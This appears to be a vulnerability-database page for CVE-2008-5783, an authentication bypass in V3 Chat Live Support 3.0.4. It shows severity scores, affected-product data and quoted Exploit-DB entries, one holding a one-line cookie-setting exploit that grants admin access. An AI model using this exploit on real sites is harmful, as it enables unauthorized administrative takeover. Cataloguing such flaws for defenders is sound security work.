CVE-2008-5783
published 2008-12-31CVE-2008-5783: admin/index.php in V3 Chat Live Support 3.0.4 allows remote attackers to bypass authentication and gain administrative access by setting the admin cookie to 1.
PriorityP353high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
3.37%
87.2th percentile
admin/index.php in V3 Chat Live Support 3.0.4 allows remote attackers to bypass authentication and gain administrative access by setting the admin cookie to 1.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| v3chat | v3_chat_live_support | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
exploitdb·2008-11-08
CVE-2008-5784 V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
---
###############################################################################################
[+] V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability
[+] Discovered By : Mountassif Moad
[+] Greetz : All my freind
################################################################################################
Exploit:
javascript:document.cookie = "admin=1; path=/";
# milw0rm.com [2008-11-08]
Exploit-DB
V3 Chat Live Support 3.0.4 - Insecure Cookie Handling
exploitdb·2008-11-08
CVE-2008-5784 V3 Chat Live Support 3.0.4 - Insecure Cookie Handling
V3 Chat Live Support 3.0.4 - Insecure Cookie Handling
---
[!] [!]
[!] OOOO O OOOOOOOOO [!]
[!] O O O O O [!]
[!] O O O [!]
[!] O OOOO OOOO OOOOOO OOOO OOO OO O OOOO OO OO OOOO [!]
[!] O OOO OOO O O O O OO O O O O OO O O O [!]
[!] O OO OO O O OOOOOO O ******* O O O O O OOOOOO [!]
[!] O O OOOO O O O O O O O O O O O [!]
[!] OOOO OO OOOOOO OOOO OOOOOO OOOOOOOOO OOOO OOO OOO OOOO [!]
[!] OO [!]
[!] OO [!]
[!] OO Proud To Be MoroCCaN [!]
[!] OO [!]
+---- Bismi Allah Irahmani ArraHim ----+
++--------------------------------------------------------------------------------------------------------------------------------------------------------+
++ [ V3 Chat Live Support v3.0.4 Insecure Cookie Handling Vulnerability ] ++
+----------------------------------------------------------------------------
No writeups or analysis indexed.
http://secunia.com/advisories/32603http://securityreason.com/securityalert/4843http://www.securityfocus.com/bid/32216http://www.vupen.com/english/advisories/2008/3066https://exchange.xforce.ibmcloud.com/vulnerabilities/46481https://www.exploit-db.com/exploits/7069http://secunia.com/advisories/32603http://securityreason.com/securityalert/4843http://www.securityfocus.com/bid/32216http://www.vupen.com/english/advisories/2008/3066https://exchange.xforce.ibmcloud.com/vulnerabilities/46481https://www.exploit-db.com/exploits/7069
2008-12-31
Published